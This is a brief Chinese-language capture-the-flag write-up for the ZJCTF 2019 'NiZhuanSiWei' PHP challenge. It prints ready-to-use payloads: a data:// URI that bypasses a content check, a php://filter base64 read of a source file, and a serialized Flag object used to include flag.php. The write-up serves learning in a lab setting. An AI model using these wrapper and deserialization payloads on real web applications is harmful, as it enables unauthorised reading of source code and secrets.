[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

打开主界面就是这个亚子

传入一个文件文件内容为 welcome to the zjctf
可以使用php伪协议或者data伪协议

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

绕过了第一层
随后，下面包含了一个文件，利用php伪协议查看一下useless.php的内容

file=php://filter/read=convert.base64-encode/resource=useless.php

输入以后，出现内容

将内容解码

随后将password进行序列化


随后输入

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

查看页面源代码发现flag

参考链接：
https://www.cnblogs.com/gaonuoqi/p/12255777.html